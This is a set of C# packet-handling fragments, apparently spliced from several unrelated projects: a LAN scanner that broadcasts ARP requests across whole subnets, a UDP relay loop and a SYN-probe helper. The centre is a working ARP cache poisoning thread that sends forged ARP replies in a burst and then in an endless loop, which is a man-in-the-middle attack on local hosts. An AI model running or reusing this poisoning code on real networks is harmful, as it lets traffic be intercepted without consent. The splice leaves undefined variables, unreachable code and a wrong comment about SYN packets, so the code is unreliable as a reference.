view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = 100));
BackgroundScanStart(view, interfacefriendlyname); //start passive monitoring
}
catch (PcapException ex)
{
DebugOutputClass.Print(view, "PcapException @ GetClientList.GetAllClients() @ new Thread(()=>{}) while retrieving packets [" + ex.Message + "]");
view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text = "Refresh for scan"));
view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = 0));
}
catch (Exception ex)
{
DebugOutputClass.Print(view, ex.Message);
}
}).Start();
#endregion
}
/// <summary>
/// 毒化线程。
/// </summary>
/// <param name="obj">毒化的目标。</param>
private void PoisonThread(object obj)
{
// 获取目标
var host = (Host)obj;
// 转存目标
var targets = _target1.Contains(host) ? _target2.AsReadOnly() : _target1.AsReadOnly();
// 构建包信息
var ether = new EthernetPacket(_device.MacAddress,
host.PhysicalAddress,
EthernetPacketType.Arp);
var arp = new ARPPacket(ARPOperation.Response,
host.PhysicalAddress,
host.IPAddress,
_device.MacAddress,
new IPAddress(new byte[] { 0, 0, 0, 0 }))
{
HardwareAddressType = LinkLayers.Ethernet,
ProtocolAddressType = EthernetPacketType.IPv4
};
ether.PayloadPacket = arp;
arp.ParentPacket = ether;
try {
// 强毒化
for (var i = 0; i < 20; i++)
{
foreach (var target in targets)
{
arp.SenderProtocolAddress = target.IPAddress;
arp.UpdateCalculatedValues();
_device.SendPacket(ether);
}
Thread.Sleep(500);
}
// 弱毒化
while (true)
{
foreach (var target in targets)
{
arp.SenderProtocolAddress = target.IPAddress;
arp.UpdateCalculatedValues();
_device.SendPacket(ether);
}
Thread.Sleep(5 * 1000);
}
}
catch (ThreadAbortException) {
// 还原ARP
foreach (var target in targets)
{
ether.SourceHwAddress = target.PhysicalAddress;
arp.SenderProtocolAddress = target.IPAddress;
arp.SenderHardwareAddress = target.PhysicalAddress;
arp.UpdateCalculatedValues();
for (var i = 0; i < 5; i++)
{
_device.SendPacket(ether);
}
}
}
}
private int SendSynPacket(TcpPacket tcp)
{
tcp.SequenceNumber = 0; //A TCP Sync Packet will always have a destination address of 0
tcp.CWR = false;
tcp.ECN = false;
tcp.Urg = false;
tcp.Ack = false;
tcp.Psh = false;
tcp.Rst = false;
tcp.Syn = true;
tcp.Fin = false;
device = devices[1];
device.Open(DeviceMode.Promiscuous, 20);
device.SendPacket(tcp);
device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(device_OnPacketArrival);
//device.StartCapture();
RawCapture nexttcp = device.GetNextPacket();
//device.StopCapture();
if (nexttcp != null)
{
var packet = PacketDotNet.Packet.ParsePacket(nexttcp.LinkLayerType, nexttcp.Data);
TcpPacket tcp1 = TcpPacket.GetEncapsulated(packet);
if ((tcp1 != null) && (tcp1.Syn == true) && (tcp1.Ack == true))
{
return 1;
}
else
{
return 0;
}
}
else
{
return 0;
}
device.Close();
}
public void SendARPRequest(IPAddress senderIP, PhysicalAddress senderMAC, IPAddress targetIP, int vlanID)
{
_ncard.SendPacket(ArpPacketBuilder.BuildArpRequest(_probeMAC, NetAddress.BroadcastMAC, senderIP, targetIP, senderMAC, NetAddress.ZeroMAC, vlanID));
}
public void SendPacket(EthernetPacket packet)
{
_pcapDevice.SendPacket(packet);
}
/// <summary>
/// Implements the comm manager thread.
/// </summary>
private void CommManagerThread()
{
byte[] rxBuf = new byte[65535];
byte[] buf = null;
EndPoint endPoint = new IPEndPoint(IPAddress.Any, 0);
socket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.ReuseAddress, true);
socket.Bind(new IPEndPoint(IPAddress.Any, port));
try
{
// implement main work loop
while (runThread)
{
try
{
int len = socket.ReceiveFrom(rxBuf, ref endPoint);
if (len > 0)
{
buf = new byte[len];
Buffer.BlockCopy(rxBuf, 0, buf, 0, buf.Length);
}
else
{
buf = null;
}
if (buf != null)
{
Util.TraceHex("buf", buf, buf.Length);
// read PDU data from stream
ProtocolDataUnit pdu = ProtocolDataUnit.ReadFrom(buf);
if (pdu != null && Program.foreground && Program.debug)
{
Console.WriteLine("[SNIP .. Packet Rx from Client]");
Util.TraceHex("hdr", pdu.HeaderData, pdu.HeaderData.Length);
if (pdu.ContentData != null)
{
Util.TraceHex("packet", pdu.ContentData, pdu.ContentData.Length);
Console.WriteLine("packet length " + pdu.ContentData.Length);
}
Console.WriteLine("hdr->checksum = " + pdu.Header.CheckSum.ToString("X"));
Console.WriteLine("hdr->length = " + pdu.Header.Length.ToString());
Console.WriteLine("hdr->macAddr = " +
pdu.Header.MacAddr[0].ToString("X") + ":" +
pdu.Header.MacAddr[1].ToString("X") + ":" +
pdu.Header.MacAddr[2].ToString("X") + ":" +
pdu.Header.MacAddr[3].ToString("X") + ":" +
pdu.Header.MacAddr[4].ToString("X") + ":" +
pdu.Header.MacAddr[5].ToString("X"));
Console.WriteLine("hdr->dataLength = " + pdu.Header.DataLength);
Console.WriteLine("hdr->compressLength = " + pdu.Header.CompressedLength);
Console.WriteLine("[SNIP .. Packet Rx from Client]");
}
// did we receive a pdu?
if (pdu != null)
{
// are we trying to shut down the session?
if ((pdu.Header.CheckSum == 0xFA) && (pdu.Header.DataLength == 0))
{
if (Program.foreground)
{
Console.WriteLine("disconnecting session macAddr = " +
pdu.Header.MacAddr[0].ToString("X") + ":" +
pdu.Header.MacAddr[1].ToString("X") + ":" +
pdu.Header.MacAddr[2].ToString("X") + ":" +
pdu.Header.MacAddr[3].ToString("X") + ":" +
pdu.Header.MacAddr[4].ToString("X") + ":" +
pdu.Header.MacAddr[5].ToString("X"));
}
PhysicalAddress addr = new PhysicalAddress(pdu.Header.MacAddr);
if (this.endPoints.ContainsKey(addr))
{
this.endPoints.Remove(addr);
}
return;
}
// are we trying to register a client?
if ((pdu.Header.CheckSum == 0xFF) && (pdu.Header.DataLength == 0))
{
HandshakeHeader header = new HandshakeHeader();
header.CheckSum = 0xFF;
header.DataLength = 0;
header.CompressedLength = 0;
header.Length = (ushort)header.Size;
header.MacAddr = pdu.Header.MacAddr;
if (Program.foreground)
{
Console.WriteLine("new session macAddr = " +
header.MacAddr[0].ToString("X") + ":" +
header.MacAddr[1].ToString("X") + ":" +
header.MacAddr[2].ToString("X") + ":" +
header.MacAddr[3].ToString("X") + ":" +
header.MacAddr[4].ToString("X") + ":" +
header.MacAddr[5].ToString("X"));
}
// build final payload
byte[] buffer = new byte[Util.RoundUp(header.Size, 4)];
header.WriteTo(buffer, 0);
PhysicalAddress addr = new PhysicalAddress(header.MacAddr);
if (!this.endPoints.ContainsKey(addr))
{
this.endPoints.Add(addr, (IPEndPoint)endPoint);
}
else
{
Console.WriteLine("macAddr already exists?");
}
socket.SendTo(buffer, endPoint);
}
else
{
if (!Program.privateNetwork)
{
// otherwise handle actual packet data
Packet packet = Packet.ParsePacket(LinkLayers.Ethernet, pdu.ContentData);
capDevice.SendPacket(packet);
}
else
{
foreach (KeyValuePair <PhysicalAddress, IPEndPoint> kvp in endPoints)
{
// is this our mac?
if (kvp.Key.GetAddressBytes() == pdu.Header.MacAddr)
{
continue;
}
SendPacket(kvp.Key, kvp.Value, pdu.ContentData);
}
}
}
}
}
}
catch (Exception)
{
// do nothing
}
} // while (runThread)
}
catch (ThreadAbortException)
{
Console.WriteLine("comm manager thread commanded to abort!");
runThread = false;
}
catch (Exception e)
{
Util.StackTrace(e, false);
runThread = false; // terminate thread
}
}
public static void GetAllClients(IView view, string interfacefriendlyname)
{
#region initialization
if (capturedevice != null)
{
try
{
capturedevice.StopCapture(); //stop previous capture
capturedevice.Close(); //close previous instances
StopFlag = true;
GatewayCalled = false;
capturedevice.OnPacketArrival += null;
Main.checkboxcanbeclicked = false;
StopTheLoadingBar(view);
}
catch (PcapException)
{
}
}
clientlist = new Dictionary <IPAddress, PhysicalAddress>();
#endregion
CaptureDeviceList capturedevicelist = CaptureDeviceList.Instance;
capturedevicelist.Refresh(); //crucial for reflection of any network changes
capturedevice = (from devicex in capturedevicelist where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == interfacefriendlyname select devicex).ToList()[0];
capturedevice.Open(DeviceMode.Promiscuous, 1000); //open device with 1000ms timeout
capturedevice.Filter = "arp";
IPAddress myipaddress = IPAddress.Parse(NetStalker.Properties.Settings.Default.localip);
Size = NetStalker.Properties.Settings.Default.NetSize;
var Root = GetRoot(myipaddress, Size);
if (string.IsNullOrEmpty(Root))
{
try
{
view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = "Network Error"));
return;
}
catch (Exception)
{
}
}
#region Sending ARP requests to probe for all possible IP addresses on LAN
new Thread(() =>
{
try
{
if (Size == 1)
{
for (int ipindex = 1; ipindex <= 255; ipindex++)
{
ARPPacket arprequestpacket = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(Root + ipindex), capturedevice.MacAddress, myipaddress);
EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
ethernetpacket.PayloadPacket = arprequestpacket;
capturedevice.SendPacket(ethernetpacket);
}
}
else if (Size == 2)
{
for (int i = 1; i <= 255; i++)
{
for (int j = 1; j <= 255; j++)
{
ARPPacket arprequestpacket = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(Root + i + '.' + j), capturedevice.MacAddress, myipaddress);
EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
ethernetpacket.PayloadPacket = arprequestpacket;
capturedevice.SendPacket(ethernetpacket);
if (!GatewayCalled)
{
ARPPacket ArpForGateway = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), GatewayIP, capturedevice.MacAddress, myipaddress);//???
EthernetPacket EtherForGateway = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
EtherForGateway.PayloadPacket = ArpForGateway;
capturedevice.SendPacket(EtherForGateway);
GatewayCalled = true;
}
}
}
}
else if (Size == 3)
{
if (MetroMessageBox.Show(view.MainForm,
"The network you're scanning is very large, it will take approximately 20 hours before the scanner can find all the devices, proceed?",
"Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == DialogResult.Yes)
{
for (int i = 1; i <= 255; i++)
{
for (int j = 1; j <= 255; j++)
{
for (int k = 1; k <= 255; k++)
{
ARPPacket arprequestpacket = new ARPPacket(ARPOperation.Request,
PhysicalAddress.Parse("00-00-00-00-00-00"),
IPAddress.Parse(Root + i + '.' + j + '.' + k), capturedevice.MacAddress,
myipaddress);
EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress,
PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
ethernetpacket.PayloadPacket = arprequestpacket;
capturedevice.SendPacket(ethernetpacket);
if (!GatewayCalled)
{
ARPPacket ArpForGateway = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), GatewayIP, capturedevice.MacAddress, myipaddress); //???
EthernetPacket EtherForGateway = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp); //???
EtherForGateway.PayloadPacket = ArpForGateway;
capturedevice.SendPacket(EtherForGateway);
GatewayCalled = true;
}
}
}
}
}
else
{
return;
}
}
}
catch (Exception)
{
}
}).Start();
#endregion
#region Retrieving ARP packets floating around and finding out the senders' IP and MACs
capturedevice.Filter = "arp";
RawCapture rawcapture = null;
long scanduration = 8000;
new Thread(() =>
{
try
{
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
while ((rawcapture = capturedevice.GetNextPacket()) != null && stopwatch.ElapsedMilliseconds <= scanduration)
{
Packet packet = Packet.ParsePacket(rawcapture.LinkLayerType, rawcapture.Data);
ARPPacket arppacket = (ARPPacket)packet.Extract(typeof(ARPPacket));
if (!clientlist.ContainsKey(arppacket.SenderProtocolAddress) && arppacket.SenderProtocolAddress.ToString() != "0.0.0.0" && areCompatibleIPs(arppacket.SenderProtocolAddress, myipaddress, Size))
{
clientlist.Add(arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
view.ListView1.Invoke(new Action(() =>
{
string mac = GetMACString(arppacket.SenderHardwareAddress);
int id = clientlist.Count - 1;
string ip = arppacket.SenderProtocolAddress.ToString();
var obj = new Device();
new Thread(() =>
{
try
{
ipp = ip;
IPHostEntry hostEntry = Dns.GetHostEntry(ip);
view.ListView1.BeginInvoke(new Action(() =>
{
obj.DeviceName = hostEntry.HostName;
view.ListView1.UpdateObject(obj);
}));
}
catch (Exception)
{
try
{
view.ListView1.BeginInvoke(new Action(() =>
{
obj.DeviceName = ip;
view.ListView1.UpdateObject(obj);
}));
}
catch (Exception)
{
}
}
}).Start();
new Thread(() =>
{
try
{
var Name = VendorAPI.GetVendorInfo(mac);
if (Name != null)
{
obj.ManName = Name.data.organization_name;
}
else
{
obj.ManName = "";
}
view.ListView1.UpdateObject(obj);
}
catch (Exception)
{
}
}).Start();
obj.IP = arppacket.SenderProtocolAddress;
obj.MAC = PhysicalAddress.Parse(mac.Replace(":", ""));
obj.DeviceName = "Resolving";
obj.ManName = "Getting information...";
obj.DeviceStatus = "Online";
view.ListView1.AddObject(obj);
}));
}
int percentageprogress = (int)((float)stopwatch.ElapsedMilliseconds / scanduration * 100);
view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = "Scanning " + percentageprogress + "%"));
}
stopwatch.Stop();
Main.operationinprogress = false;
view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = clientlist.Count.ToString() + " device(s) found"));
capturedevice.Close();
capturedevice = null;
BackgroundScanStart(view, interfacefriendlyname); //start passive monitoring
}
catch (Exception)
{
try
{
view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = "Error occurred"));
}
catch (Exception)
{
}
}
}).Start();
#endregion
}
